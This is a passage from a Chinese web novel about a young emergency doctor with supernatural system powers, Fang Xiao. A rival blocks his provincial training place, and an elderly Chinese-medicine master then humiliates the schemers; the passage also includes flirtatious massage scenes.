纸上墨迹苍劲有力，每个字都像用刻刀雕出来的，力透纸背。最末一行小楷写着："学医先学做人，用药如用兵。" "院里面，尤其是我对你有极深的期待。说是进修，其实是拜师，这一点小方你要注意。"院长突然从西装内袋取出一枚古朴的铜制书签，上面錾着"大医精诚"四字。 "这是李老让我转交的见面礼。" 方晓双手接过时，发现书签背面用微雕技法刻着《黄帝内经》的片段，字小如蚁却清晰可辨。 张珈榕的目光在书签上停留片刻，睫毛轻轻颤了颤，像是想起了什么往事。 "对了，"院长临走时突然转身，"李老喜欢喝六安瓜片，你记得备些带去。"他朝张珈榕点点头，"小张，把茶庄地址给小方。" 孙院长压根没和其他人说话，临走的时候，他看了一眼抢救室。 王成发正在连拉带吐。 孙院长一脸无奈，“王主任的确是老了，该退就退了吧。” 张珈榕应了一声，“院长，等王主任病好一点我跟他说。” “最近王主任特别容易生病。”孙院长有些无奈，“这……也太臭了。” …… …… 省城。 满头白发的李墨生坐在竹椅上，一个二十多岁的女生在他身边。 “爷爷，你要收关门弟子？”女生问道。 她叫李清荷，是李墨生的孙女。 “从前欠了个人情，那面非说让我收个关门弟子，我没答应，至于他们打着我的旗号招摇撞骗，你帮我盯着点。”须发皆白的李墨生淡淡说道。 第125章 方医生，是你做的么 第一百二十五章 方医生，是你做的么 宋文卿想象过方晓会离开急诊科，毕竟急诊科池子浅，留不下这么一位大神。 可他万万没想到方晓竟然会这么快的离开急诊去省城进修。 “好好好，恭喜小方。”宋主任合掌笑道，“你……” 正说着，外面传来王成发的爱人的声音。 “老王，你怎么了！” 宋主任脸色顿时一紧，真是怕什么来什么。 王成发的爱人踩着细高跟风风火火闯进急诊抢救室，手里攥着的爱马仕丝巾紧紧捂着口鼻。 她烫着一头时髦的羊毛卷，耳垂上夸张的翡翠坠子随着步伐晃得厉害。 从前王成发的爱人没有烫发，估计是因为自己薅头发塞嘴里导致发量急剧减少，所以做了个蓬松的头发遮掩一下。 宋主任急忙跟过去，可王成发的爱人完全没有想听他解释的想法，直奔王成发过去。 "老王！你这是……"她刚凑近病床就猛地后退三步，丝巾捂得更紧了，"你这是掉粪坑里了？！" 病床上的王成发已经拉得虚脱，脸色惨白得像张纸，嘴唇干裂起皮。 他想伸手，胳膊却软绵绵地抬不起来，只能发出微弱的声音："水...给我水..." "哎哟你可别传染给我！"王成发的爱人警惕地又退后两步，高跟鞋不小心踩到了地上散落的输液管，一个趔趄差点摔倒。 她顺手抓住床边护栏稳住身子，却听"咔嚓"一声。 整张病床的护栏被她生生掰断了！ 王成发随着倾斜的床垫滚落在地，正好摔在自己刚才连拉带吐出来的污物上。 他虚弱地挣扎着，活像只翻了盖的乌龟。 方晓也愣住，强化过后的【霉运符】似乎有自己的领域，只要靠近就会倒霉。 王成发现在就像是个黑洞，身边所有人都会遇到各种离奇的事情，最后作用在他身上。 简单说，王成发不光是自己倒霉，别人也会让他更倒霉。 "你看看你！"于爱梅嫌弃地甩着手上沾到的护栏碎屑，"住院也不消停！"她突然瞥见王成发的口袋里露出的半张消费小票，一把抽出来细看。 "好啊！前天晚上你居然在香格里拉开房？！"她声音陡然拔高八度，翡翠耳坠激烈晃动，"我说怎么一夜都没回家！" 王成发惊恐地瞪大眼睛，想辩解却突然一阵剧烈反胃，"哇"地吐在了床单上。 也就是医生，王成发在间不容发的瞬间扭头，这才没造成呛咳。 可也因为扭头太过剧烈，他的脖子发出咔嚓一声，连远处的方晓都听的清清楚楚。 "恶心死了！"于爱梅抄起身边的东西就往王成发头上砸，却不小心带倒了旁边的处置车。 各种药瓶、针筒稀里哗啦全砸在王成发身上，一支开塞露正好插在他头发里。 "离婚！明天就离！"她踩着高跟鞋转身就走，路过卫生员的时候顺手抄起消毒液就往身后泼。 液体在空中划出完美的抛物线，精准地浇了王成发满头满脸。 最绝的是，那瓶消毒液恰好是过氧化氢，淋在王成发头上顿时泛起白色泡沫，活像顶了一头摩丝。 几个小护士憋笑憋得直抖，有个实习医生干脆躲到帘子后面笑出了鹅叫。 宋主任没办法，连忙去安慰王成发的爱人。 张珈榕站在人群最后，她的手指轻轻勾住方晓的白大褂衣角，指尖若有似无地擦过他腰侧的肌肤。 “怎么了张科长？”方晓侧头问道。 她微微倾身，红唇几乎贴上方晓的耳廓，温热的呼吸带着淡淡的栀子花香拂过他的颈侧。 "是你做的手脚？"张珈榕压低声音，尾音微微上扬，像只狡黠的猫。 方晓感觉后背窜过一阵细微的电流。 他耸耸肩，故意往她那边靠了靠，两人的白大褂下摆暧昧地纠缠在一起。 "张科长，我可什么都没做。"他学着她的样子压低声音，嘴唇也几乎碰到她的耳垂。 张珈榕轻笑一声，她对方晓的举动似乎有点兴趣，"也是。"她的指尖在方晓后背画着小圈，"可王主任最近也太倒霉了吧。" 急诊室的阳光在她脸上投下暧昧的阴影，浓密的睫毛在眼下投下一小片扇形的阴翳。 方晓能闻到她发丝间若有似无的香水味，混合着消毒水的气息，莫名地撩人。 "别不是..."她突然踮起脚尖，红唇几乎贴上他的耳朵，"只要对你有敌意，就要受到十倍的反击？" 在急诊室嘈杂的人群最后，张珈榕和方晓并肩而立，似乎贴在一起，又像是隔着一段恰到好处的距离。 张珈榕的距离感拿捏的相当好。 她的手指偶尔擦过方晓的袖口，布料相触发出细微的沙沙声。 "王主任这事..."她压低声音时，不着痕迹地往方晓那边靠了一点点，白大褂的袖口贴上了他的臂弯。 消毒水味里混着她身上淡淡的橙花香水，随着呼吸萦绕在方晓鼻尖。 她的原子笔在记录时"不小心"掉落，两人同时弯腰去捡。 在人群视线的背后里，张珈榕的指尖轻轻掠过方晓的手背，像蝴蝶停留般短暂，却让他的呼吸为之一滞。 起身时，她耳边的碎发扫过他的下颌，带着洗发水的清香。 "真是蹊跷。"她说完抿了抿唇，目光扫过方晓的喉结，又很快移开。递病历本时，小指在他掌心似有若无地勾了一下，快得像是错觉。 当王成发的爱人开始愤怒的吼叫的时候，人群突然骚动，她"不经意"后退半步，后背轻轻贴上他的胸膛。 那一瞬间的体温相触转瞬即逝，却在分开时，她的发尾在他领口缠了一缕，需要他伸手轻轻拂开。 整个过程中，张珈榕的视线始终专注地望向王成发的病床方向，只有微微泛红的耳垂暴露了心思。 而他们之间这些隐秘的肢体接触，在旁人看来不过是拥挤环境下的正常碰撞。 方晓喉结滚动了一下。他低头看她，正好对上她含着笑意的眼睛。那双眼睛里像是盛满了碎钻，在灯光下闪闪发亮。 “张科长，别乱说，我可没那么大的本事。”方晓解释。 第127章 这不巧了么 第一百二十七章 这不巧了么 “什么！”王成发愤怒的低声吼道。 他就像是一头受了伤的豺狼，四白眼里凶光毕露。 知道方晓要出去进修的消息后，王成发马上明白了其中的关键。 去进修中医，回来后考个中医证，方晓可以离开急诊科。 至于为什么不把执业证还给方晓，王成发一想到这点，心里更像是有一把火在烤。 是孙院长，孙院长不惜要花费资源也要把方晓留下来！ 方晓留下来意味着医院院方可以与帝都那面建立联系！ 但就是这一份联系这份医疗资源，就价值千金。 王成发双手握拳，愤怒的死死盯着不远处的山。雨在淅沥沥的下着，而却浇不灭王成发心底的怒火。 他没有确凿的证据，可王成发却“猜”到自己最近的诸事不顺都和方晓有着千丝万缕的联系。 眼看着一步棋走死的方晓就这么逃出生天，王成发心中愤怒至极。 想了许久，王成发拿起手机，拨打了个电话。 “老大，我，成发。”王成发瓮声瓮气的说道，“过年时候给你送的溜达鸡吃着怎么样？” “哈哈哈，当然好吃。老三你送来的溜达鸡还能不好吃？” 电话那面的人爽朗的笑道。 他是王成发上大学时候的寝室大哥，现在在省中医院工作，是主管后勤以及科教的副院长。 雨水顺着窗玻璃蜿蜒而下，像一条条透明的蛇。王成发站在窗前，手机紧贴着耳朵，指节因用力而发白。 "老大，咱哥俩这么多年了，我有事儿直说，有件事想请你帮忙。"王成发的声音压得很低，仿佛怕被雨水听了去， “害，你赶紧说，你竟然害学会跟我客气了。”张副院长鄙夷道。 "我们医院有个叫方晓的医生，申请了你们医院的中医进修名额。" 电话那头传来张副院长爽朗的笑声："怎么，你们医院的年轻王牌要从西医转行学中医？这可是稀罕事。" 王成发的嘴角扯出一个阴冷的弧度："老大，这小子心术不正。表面上装得老实，背地里尽搞小动作。最近我们科里出了几起医疗纠纷，我怀疑都和他有关。" 他没有说自己生病和家里不顺的事儿，毕竟涉及到怪力乱神的东西，有些事儿只能自己猜，却不能说。 "哦？"张副院长的声音突然严肃起来，"有证据吗？" "证据还在收集。"王成发眯起眼睛，窗外的雨幕中仿佛浮现出方晓那张平静的脸，"但这小子狡猾得很，我担心他去了你们那儿，会惹出更大的乱子。" 电话那头沉默了几秒，随后传来纸张翻动的声音。 "让我看看……是叫方晓吧，找到了。"张副院长慢条斯理地说，"他的申请材料看着的确不错，还是协和毕业的，啧啧。" 张副院长笑吟吟的说道。 王成发的手指无意识地敲击着窗台："老大，咱们兄弟这么多年，我什么时候求过你？这次就当帮我个忙。" "你想怎么做？"张副院长的声音忽然变得意味深长。 "进修名额有限，优秀的人选那么多..."王成发的声音像浸了毒液的丝绸般滑腻，"何必冒险要一个有问题的医生？" 电话那头，省中医院张副院长的笑声传来："老三啊老三，这么多年你还是这么……护短。行吧，看在咱们多年的关系上，我把他退回去。" 王成发嘴角勾起一抹阴笑。 他所在的长南市第一医院只是个地级市医院，而老同学张德才已经是省中医院的副院长，掌握着每年珍贵的中医进修名额。 想要方晓去进修，孙院长要托关系，可自己就没关系了？扯淡。 一想到方晓的样子，王成发脸上的横肉狰狞，凶态毕露。 "不过呢。"张副院长突然话锋一转，"这批名单要经过李墨生老爷子过目，他老人家最讨厌关系户..." 王成发不以为然："李老年近八旬，哪会管这种小事？再说他在帝都坐诊，一年都回不了省城几次。而且，方晓就是李老最讨厌的那种人，这不巧了么。" 挂断电话，王成发四白眼里露出阴狠的笑容。 …… 省中医院，副院长办公室。 张德才翘着二郎腿，手里捏着方晓的进修申请材料，嘴角挂着阴冷的笑意。 “王成发这个老狐狸，为了整一个年轻医生，连‘医德有亏’这种理由都编得出来……”他嗤笑一声，随手将材料扔进碎纸机，“可惜啊，再好的苗子，得罪了不该得罪的人，也只能认栽。” “协和毕业，那又能怎么样？” 他拿起钢笔，在最终名单上划掉“方晓”的名字，只剩下刘天明一个人。 “李老那边……应该不会发现吧？”他迟疑了一瞬，随即又摇头，“老爷子在帝都坐诊，哪有闲心管这种小事？” 他满意地盖上公章，吩咐秘书：“名单公示，即刻生效！” …… 一天后，省中医院的公函发到了长南市第一医院。 急诊科的办公室里，方晓在电脑上看着公函上"刘天明"两个字，手指不自觉地攥紧了白大褂。 奇怪，这事儿是孙院长运作的，张珈榕不会骗自己，怎么忽然出了纰漏？ “咦？小方，不是说你要去进修么？怎么就剩下一个刘天明呢？”正在看公文的护士长奇怪的问道。 方晓摇了摇头，示意自己也不知道。 话音未落，办公室门被推开。 王成发背着手踱步进来，故作惊讶地说："哎呀，公函到了？"他凑近看了看，夸张地叹气："可惜啊小方，看来省中医院的专家们眼光很准嘛。" 他压低声音，在方晓耳边说："在长南第一人民医院这一亩三分地，是龙你得盘着，是虎你得卧着。" 方晓突然笑了："王主任，您的能量还真大啊。" "什么？"王成发的四白眼眯了起来，忽然朗声大笑，“小方，饭可以乱吃，但话不能乱讲。” 说着，王成发仰天大笑，转身离开。 他的表情和语气无声的印证了一切都出自他的手笔。 第128章 我的人你也敢动？！ 第一百二十八章 我的人你也敢动？！ 省中医院国医堂。 李墨生老爷子刚结束帝都的会诊飞回省城，连白大褂都没换就直奔教学部。八十岁高龄的他步伐矫健，紫檀木拐杖敲在大理石地面上咚咚作响。 "把这次进修班的名单拿来！"老爷子声如洪钟。 教学主任额头冒汗："李老，名单已经公示了..." "拿来！"李老手中的拐杖重重一杵，震得茶杯都在颤抖，所有人都噤若寒蝉。 当名单递到手中，李老鹰目一扫，脸色瞬间阴沉：“方晓呢？” 整个办公室鸦雀无声。 张德才闻讯赶来，满脸堆笑："李老，您说的这个方晓啊，我们仔细考核过，资质确实有点问题。” "资质有问题？"李墨生老爷子缓缓抬头，苍老的眼皮一掀，目光如刀锋般剐在张德才脸上。 教学部的空气瞬间凝固，连呼吸声都清晰可闻。 张德才咽了口唾沫，强撑着谄笑："是啊李老，这小子的资质是西医，和咱中医院八竿子打不着，甚至连中西医结合都没学过。" "啪！" 李老突然将名单拍在桌上，力道之大，震得钢笔直接弹起来，险险砸在张德才脸上。 "你算什么东西？"老爷子慢条斯理地站起身，紫檀木拐杖"咚"地杵在张德才皮鞋尖前，"也配评价方晓的资质？" 张德才疼得脸色发青，却不敢挪脚："李老，这、这是集体评议的结果......" "集体？"李老突然笑了，笑得所有人毛骨悚然。他转头看向教学部主任："小王啊，你评议了？" 教学主任疯狂摇头。 李老随即又看向副主任："你评议了？" 副主任虽然一句话都不敢说，可他差点没把眼睛甩飞出去，示意李老和自己无关。 最后李老看向角落里瑟瑟发抖的实习秘书："你呢？" 小姑娘都快哭出来了："李老，我、我就是个打字的......" 李老满意地点点头，突然抄起拐杖"咣当"一声砸在文件柜上，钢化玻璃应声爆裂！ "好一个集体评议！"老爷子声如炸雷，“张德才，我刚在帝都参加了保健组的会诊。那是集体决策，就你？一个进修生，你跟我说要集体决策？” “……” “……” 所有人面面相觑，不知道该说什么才好。 李老是保健组成员，会诊的“患者”都是张德才一辈子都见不到的大人物。 一句话，像是炸雷一样劈在张德才的头顶，把他炸的外焦里嫩。 张德才两腿发软，差点跪在地上。旁边院长硬着头皮劝："李老，您消消气，这事我们慢慢......" "你闭嘴！"李老一拐杖横扫，院长办公桌上的文件哗啦啦全飞了出去，"再废话连你一起收拾！" 整个行政楼都在震动，各科室的干事以及科室长全扒在门口偷看。只见平日威风凛凛的张副院长，此刻像条丧家犬似的，垂着头站在那，任打任骂，连一句反驳都不敢有。 李墨生老爷子冷笑一声，突然从怀里掏出一部老年机，慢悠悠拨了个号码，还特意开了免提。 "喂，小赵啊。"老爷子语气轻松，"对，是我。你们卫健委最近不是在查学术腐败吗？我这儿有个现成的......" 张德才猛地抬头，不可置信的看着李老，他的脸色瞬间惨白！ "别别别！李老！"他扑通一声跪下了，膝盖砸在地砖上"咚"的一声响，"我错了！我真的知道错了！" 老爷子看都不看他，继续对着手机说："......叫张德才，省中医院的。对，就是那个靠他爹关系混进来的废物。" "李老！"张德才直接爬过来抱住老爷子的腿，鼻涕眼泪糊了一脸，"您饶我这次！我马上把方晓的名字加回去！我亲自去长南市接他！我......" "滚！"李老一脚把他踹开，嫌弃地抖了抖裤腿，"现在知道怕了？动我李墨生的人的时候，怎么不想想后果？" 突然把手机往张德才耳边一怼："来，跟你赵叔叔打个招呼。" 手机里传来省卫健委赵主任冰冷的声音："张德才，你明天早上九点，自己来卫健委报到。" "啪！"老爷子合上手机，环视一圈噤若寒蝉的众人，最后目光落在面如死灰的张德才身上："现在，爬出去。" 在几十号人的注视下，堂堂省中医院副院长，真的四肢着地，哆哆嗦嗦地爬出了办公室...... 李老这才满意地捋了捋胡须，转头对院长说："愣着干什么？还不去准备拜师茶？明天方晓来了，我要亲自给他行入门礼！" 突然想起什么似的，又补了一句："对了，把张德才在门诊的诊室给收拾出来。从今往后，那就是我方晓徒弟的诊室！" 走廊上瞬间响起一片倒吸凉气的声音。这哪是打脸？这简直是扒皮抽筋再撒盐啊！ 老爷子拄着拐杖往外走，经过瘫软在走廊的张德才时，突然停下脚步："差点忘了......" "你那个相好的——药房的小刘，也跟着一起滚蛋。" 紫檀木拐杖"咚"地一声杵在张德才手指边上，吓得他猛地一哆嗦："再让老子发现你搞小动作......" 李老俯下身，在张德才耳边轻声道："你知道的，我那些"惩戒针"，扎对穴位能让人疼三年。" 说完哈哈大笑扬长而去，留下满楼震撼的医护人员，以及趴在地上瑟瑟发抖的前副院长...... 张副院长没想到自己竟然触动了李老的逆鳞，这是他之前完全没想到的。 怎么可能！ 这完全不可能啊。 等李老离开了几分钟，一只手把他掺起来。 “张院长，你怎么把李老往死里得罪。”省中医院的院长有些责备的训斥道。 张副院长连个屁都没敢放。 自己认倒霉就是了。 “李老年纪大了，随心所欲，赶明你去给他道个歉。”院长叹了口气，“名单给我，我看一眼。” …… 方晓看着王成发，微微摇头。 其实不走就不走，以自己和张珈榕之间的关系，找个机会把执业证要回来也不是什么难事。 只是，王成发看着太讨厌了啊。 想着想着，走廊里传来一连串脚步声，急匆匆的，像是外面的雨忽然变大。 第129章 你是个什么东西 第一百二十九章 你是个什么东西 孙院长迈着大步，几乎一溜小跑的来到急诊科。 当他看见王成发也在的瞬间，明白了什么。 "王成发！"孙院长一声暴喝，整个急诊科瞬间安静。 所有人都怔怔的看着“从天而降”的孙院长发呆。 这是怎么了？孙院长怎么直接跑到急诊科来了？！ 王成发正背对着门口，手指戳着方晓的胸口："你以为攀上高枝了？我告诉你，在长南人民医院，还是我说了算......" "你说了算个屁！" 孙院长一把拽过王成发的白大褂后领，力道之大差点把他勒窒息。 王成发踉跄着转身，对上院长铁青的脸，顿时魂飞魄散。 "院、院长......"王成发的四白眼里散发着惊讶与绝望。 "闭嘴！"孙院长直接掏出手机怼到他脸上，"省中医院李老亲自打来的电话！你要不要听听他老人家是怎么问候你全家的？！" 手机屏幕上赫然显示着通话中，扬声器里传来李墨生老爷子震耳欲聋的咆哮："王成发你个龟孙子！敢动老子的关门弟子？你算哪根葱？！信不信老子明天就带医疗队来你们医院"交流学习"？！" 整个急诊科鸦雀无声。小护士手里的托盘"咣当"掉在地上，滚落的棉签像在为王成发奏响丧钟。 孙院长都被骂的跟孙子一样，这是所有人都没见识过的。 一般来讲 方晓轻轻整理了下被王成发戳皱的衣襟，嘴角微扬："王主任，您刚才说......在长南人民医院谁说了算？" 王成发面如死灰，双腿抖得像筛糠。 他那双标志性的四白眼此刻瞪得几乎要凸出眼眶，眼白上爬满血丝，活像条被扔上岸的濒死鱼。 豆大的汗珠顺着蜡黄的额头滚落，在下巴尖悬了片刻，"啪嗒"砸在皱巴巴的白大褂前襟上——那件他今早还特意熨得笔挺的白大褂，此刻早被冷汗浸透，腋下晕出两团深色汗渍。 王成发的喉结上下滚动着，却发不出声音。 干裂的嘴唇神经质地颤抖，露出两颗发黄的门牙。原本梳得油光水滑的背头散下几绺，黏在太阳穴上，随着他急促的呼吸一颤一颤。 最可笑的是那双平日总背在身后的手——此刻正死死攥着护士台的边缘，指节泛着青白，指甲都掐进了塑料台面里。 膝盖不自然地并拢着，西裤裤管肉眼可见地哆嗦，皮鞋尖在地板上蹭出"吱嘎"的声响，活像尿急又不敢去厕所的怂包。 "我......"王成发刚挤出一个气音，突然"嗝"地打了个响亮的嗝。 胃里早上喝的豆浆混着大蒜味返上来，熏得旁边的小护士直捂鼻子。 角落里不知谁"噗嗤"笑出声，这声笑像根针，瞬间扎爆了王成发强撑的气场。 他整个人肉眼可见地萎靡下去，肩膀塌了，腰弯了，连那颗常年昂着的脑袋都耷拉到胸前，活像只被拔了毛的斗败公鸡。 一滴混浊的液体突然从他裤管滴落—— "卧槽！王主任尿了！"实习医生一声惊呼。 整个急诊科瞬间炸开锅。王成发僵在原地，裆部深色水痕正在迅速扩大，在他脚边积成一小滩冒着热气的尿渍。 方晓默默后退半步，从处置台抽出张酒精棉片擦了擦手。 孙院长恶狠狠的瞪了一眼王成发，一把抢回手机，突然变脸似的堆起笑容："李老您消消气，这事我们医院一定严肃处理......是是是，方晓明天就去报到......好好好，专车我们派，一定派最好的......" "咣当——！" 挂断电话后孙院长一脚踹翻处置车。 车上的金属托盘、玻璃药瓶稀里哗啦碎了一地。 整个急诊科瞬间死寂，只剩下生理盐水瓶"咕噜噜"滚到王成发脚边的声音。 王成发浑身一抖，裤管又滴下几滴液体。 "王、成、发！"孙院长每个字都像从牙缝里挤出来的，他一把揪住王成发湿漉漉的领子，白大褂上还沾着尿渍，"你他妈知道刚才电话里是谁？省卫健委刘主任！李老的学生！" 王成发喉咙里发出"嗬嗬"的声响，像条缺氧的鱼。 "二十三年！"孙院长突然暴吼，唾沫星子喷了王成发一脸，"老子忍了你二十三年！吃回扣、塞关系户、克扣实习生补贴......"每说一句就拽着他往尿渍里按一寸，"现在连李墨生李老的关门弟子都敢动？！" 王成发膝盖"咚"地砸在自己那滩尿里，溅起的水花弄脏了院长锃亮的皮鞋。 孙院长嫌恶地松开手，转头抄起护士台的75%酒精就往他手上浇："消消毒！别把脏病传染给患者！" 刺鼻的酒精味混着尿骚味弥漫开来，几个小护士憋笑憋得肩膀直抖。 尤其是宋雨晴，眉开眼笑，喜不自禁。 她还以为方晓斗不过老辣的王成发，却没想到事情竟然会有惊天逆转。 方晓全程抱臂靠在墙上，指尖悠闲地转着听诊器。 当王成发涕泪横流地望过来时，他微微挑眉，用口型说了三个字："真、遗、憾。" ——遗憾没能亲手收拾你。 ——遗憾你倒得太快。 ——遗憾这场戏，结束得不够尽兴。 方晓犹豫了一下，没有当众给王成发来上一发。 反正也不着急，等等再说好了，无所谓的。 王成发突然发出声撕心裂肺的干嚎，不知是酒精蛰到了伤口，还是终于意识到——那个永远被他踩在脚下的方晓，此刻正用看垃圾的眼神，俯视着跪在尿泊里的自己。 "保安！"孙院长扯着嗓子喊，"把这滩东西拖去洗胃室冲冲！别脏了急诊科的地！" 方晓这才直起身，慢条斯理地整了整一尘不染的白大褂袖口。转身时，他冲满脸通红的实习护士们眨眨眼："愣着干嘛？准备接诊了。" 身后传来王成发杀猪般的惨叫，混合着高压水枪的"滋滋"声。方晓头都没回，只是唇角勾起一抹转瞬即逝的弧度。 “小方啊。”孙院长拉着方晓的胳膊，笑吟吟的熟络聊着，仿佛刚刚暴怒的人不是他。 “你和李老认识？”孙院长觉得事情已经超出了自己的掌控，便直接询问。 第130章 股骨头坏死竟然能治 第一百三十章 股骨头坏死竟然能治 方晓慢条斯理地整理着袖口，闻言抬眸，眼底闪过一丝似笑非笑的光："孙院长，我不认识李老。" 其实方晓也在硬撑，他心里也奇怪，那位素未谋面的老先生怎么会这么“惯着”自己。 孙院长笑容僵了僵："那李老怎么会......" 整个急诊科鸦雀无声。几个小护士死死捂住嘴，眼睛瞪得溜圆——所有人都知道，不知道原因比知道原因更加恐怖！ 孙院长脸上的笑容开始抽搐，他忽然想起自己去年托关系想请李老吃顿饭，结果连人家助理那关都没过。 结果手下一个被踢去急诊科的小医生竟然享受了这么高的待遇！ 这是孙院长无法接受的。 正因为如此，孙院长更加小心翼翼。 只是他没有别的想法，“神秘”的方晓已经变成了一个自己不敢轻易得罪的存在。 …… …… “股骨头坏死？你真的确定是股骨头坏死？”李老弯着身子在看阅片器上的影像。 他嘴里喃喃的问着。 而身边的患者手足无措，李老的样子和心里面对老中医的刻板认知结合度极高，别无二致。 他咽了口口水，“老先生，我在炕上躺了几年，下地就疼。” 患者说话有些乱，逻辑不清晰，但李老并不介意。 “真的？” 患者连忙解开裤子，露出髋关节的位置。 一个硕大的压痕出现。 李老枯瘦的手指悬在患者髋关节上方，突然剧烈颤抖起来。 阅片灯冷白的光照在他脸上，沟壑纵横的皱纹里盛满了难以置信——患者髋关节处那个深紫色的压疮周围，赫然分布着六个细小的针眼，排列成北斗七星的形状。 "这是......"老爷子嗓子突然哑了，紫檀木拐杖"咣当"一声砸在地上，"七星引气针？也不能啊，这针法是我在古籍里找到的，琢磨了很多年，也没能在实践中成功应用。" 李老的手指轻轻抚过患者髋关节上那七个若隐若现的针眼，指尖突然一颤。他浑浊的老眼猛地睁大，像是发现了什么不得了的东西。 "这...这针法..."老爷子的声音都在发抖，"竟然把"烧山火"和"透天凉"两种截然相反的针法融在一处了？" 他猛地抓住患者的手腕，三根手指精准地扣在寸关尺上。患者的脉象平稳有力，哪还有半点股骨头坏死的气血淤滞之象？ "不可能..."李老喃喃自语，"这两种针法一热一寒，相生相克，就连我师父当年都说..."他突然顿住，想起师父临终前的话："墨生啊，若有人能将"烧山火"与"透天凉"合二为一，那便是……" 老爷子突然仰天大笑，笑声震得诊室的玻璃嗡嗡作响："好你个小子，竟然有这种本事。" 他转身对着一屋子目瞪口呆的博士生吼道："都给我看好了！这六个针眼，前三个用的是"烧山火"的刺法，后三个是"透天凉"的走针。"老爷子激动得胡子直翘，"最绝的是这个转针的角度——" 李老突然抄起一根银针，在自己手背上比划着："看见没？每一针都在最后关头转了半圈，让两股截然相反的气在病灶处形成漩涡！" 满屋子博士生集体倒吸冷气。这手法别说见了，连听都没听说过！ "知道这意味着什么吗？"李老突然压低声音，像是说什么惊天秘密，"那行针之人用针尖在人的身体里造了个小太极！" 患者自己撑着诊疗床边缘，竟然颤巍巍站了起来。他先是试探性地踩了踩地，接着竟当场做了个深蹲——那个在炕上瘫了三年的髋关节，此刻灵活得像个新安装的轴承。 "神了！真神了！"患者激动地去抓李老的手，"前几天那个年轻大夫就扎了六针，我今早就能下炕了！" 李墨生沉默的看着患者，心里想着这一切之间的联系。 长南市屁大的地方，能有什么高人。 最近有些股骨头坏死的患者找上门来，无一例外都痊愈了，再加上协和毕业的西医硕士非要学习中医，这些事情联系起来，无声的说明了一件事。 李墨生准备让“方晓”来自己这面，自己看一眼就知道是怎么回事。 只是没想到他身上竟然有这么多事儿，办理个进修手续都有人作梗。 越是如此，李老就越是觉得方晓是答案。 “应该是没事了，核磁共振表明血运已经建立。那个谁，你跟他说一下接下来的注意事项。” 李老的一名博士生走上来，带着患者出去，一路上给他讲接下来要怎么注意。 “爷爷，针灸治疗股骨头坏死，你都没有好办法，长南市那面能行？”李青荷问。 “别小觑了天下英雄。”李墨生淡淡说道，“前后发生的这些事儿，我觉得应该和那个叫方晓的医生有关系。院里面竟然有人作梗，呵呵。” “那我联系几个股骨头坏死的患者？”李青荷问。 “不着急，你去联系一下方晓方医生，催他赶紧来。” “好。” …… …… 方晓这时候坐在医务科纠纷办的沙发上，看着张珈榕在给他弄各种资料。 “方医生，没想到你竟然和省城有关系啊。”张珈榕一边整理资料，一边笑呵呵的说道。 “没什么关系，莫名其妙的。”方晓淡淡说道。 张珈榕指尖轻轻摩挲着文件边缘，忽然倾身靠近，一缕发丝垂落在方晓的白大褂领口。 她身上淡淡的栀子香混着消毒水味，在两人之间织成一张无形的网。 "莫名其妙？"她轻笑，红唇几乎贴上他的耳廓，吐息温热，"那李老怎么偏偏对你......这么上心呢？" 方晓没动，只是垂眸看她。 医务科的灯光在他睫毛下投出浅淡的阴影，掩住了眼底一闪而过的暗色。 "张科长。"他忽然抬手，修长的手指将她那缕不听话的发丝别到耳后，指节若有似无擦过她耳垂，"你今天的口红......" "嗯？" "沾到牙齿上了。" 张珈榕猛地后退，脸颊腾地烧起来。方晓却已转身走向洗手台，水流声里传来他低沉的轻笑："不过挺好看的。" 玻璃窗映出他轮廓分明的侧脸，和身后张珈榕慌乱掏口红的模样。 第131章 张科长，你的腰肌劳损要治疗 第一百三十一章 张科长，你的腰肌劳损要治疗 张珈榕走出来，脸颊还带着点红晕。 方晓微笑，看着张珈榕张科长，忽然问道，“张科长，我什么时候走？” “越快越好，明天吧，你看怎么样。” 张珈榕说完，想了想，解释了一句，“省里忽然催的很急，应该是李老怕你受欺负。” 方晓微笑，“张科长，你的腰肌劳损推拿还没有到疗程，要不我再给你按一次？” 按摩！ 张珈榕的头不自觉地低下，发丝垂落，遮住她泛红的耳尖。 前几次方晓给她按摩时的触感突然在记忆里苏醒——那双修长的手指是如何沿着她的脊椎游走，指腹的薄茧又是怎样刮蹭过她最脆弱的腰窝…… "张科长，放松。"方晓的声音从头顶传来，带着若有似无的笑意，"你绷得太紧了。我只是擅长按摩，而且你是患者。" 擅长，自己只是患者么？张珈榕贝齿咬着红唇，没有顾忌唇膏再次擦到牙齿上。 只是那种感觉像远在天边，却又近在眼前。 不知不觉，张珈榕感觉自己的身体有些发热。 她掩饰一般的站起身，走到打印机的位置，背对着方晓，生怕自己的表情泄露了什么。 可忽然方晓的手掌突然整个贴上张珈榕的后腰，热度穿透衣料，烫得她轻轻一颤。 “张科长，你太紧张了。” "我、我没紧张……"她的辩解被自己突然变调的尾音出卖。 方晓低笑了一声，拇指忽然加重力道，沿着她脊柱两侧的肌肉缓缓上推："这里，上次你说酸得厉害。" "嗯……"张珈榕咬住下唇，指尖无意识地攥紧，用力的压在打印机上。 那种熟悉的、令人战栗的软麻感又来了，从他的指尖一点点渗进她的骨髓。 "现在呢？"他的呼吸忽然靠近，温热的吐息拂过她耳后细碎的绒毛，"还酸吗？" 张珈榕的睫毛剧烈颤抖起来。她当然记得上次——当他的指节不小心蹭过那处不该碰的地方时，她整个人像过电般几乎弹起来的窘态。 "方医生……"她声音发软，"找个诊室吧，在纠纷办里，被人看见不好。" 张珈榕本来还在抗争，可腰部的麻麻的感觉让她无法承受，直接投降。 方晓把手挪开，【玄灵推拿术】似乎有所进益，还没用力，张珈榕的骨头都像是变酥了一样。 “那去急诊科？” 张珈榕微微颔首，抓紧把资料都打印出来交给方晓。 “明天，带着资料去省城第一医院中西医联合治疗楼，找李墨生李老。”张珈榕抓紧时间把该交代的都和方晓说了一遍。 “嗯。”方晓拿过文件，点了点头。 来到急诊科，进入诊室，方晓让张珈榕趴在诊床上。 “要是去省城开会，记得找我做下一次治疗。”方晓的声音有些缥缈。 张珈榕一怔，脑海里瞬间想到了很多。 省城么？ 可一双手忽然按在张珈榕的腰上，打断了她的遐想。下一秒，带着薄茧的指腹竟沿着她肋骨的弧度，似有若无地滑向侧腰。 "所以今天，"他的嗓音低得近乎气音，"得把欠的疗程…都补上。" 张珈榕的呼吸彻底乱了。 诊室的百叶窗半合着，午后的阳光被切割成细碎的金线，斜斜落在张珈榕雪白的后颈上。 她趴在治疗床上，白大褂下摆因为姿势微微掀起，露出一截纤细的腰线。 "在长南的最后一次了，张科长。"方晓的嗓音带着笑意，指尖蘸着药油，轻轻点在她腰窝上。 张珈榕的心瞬间乱了。 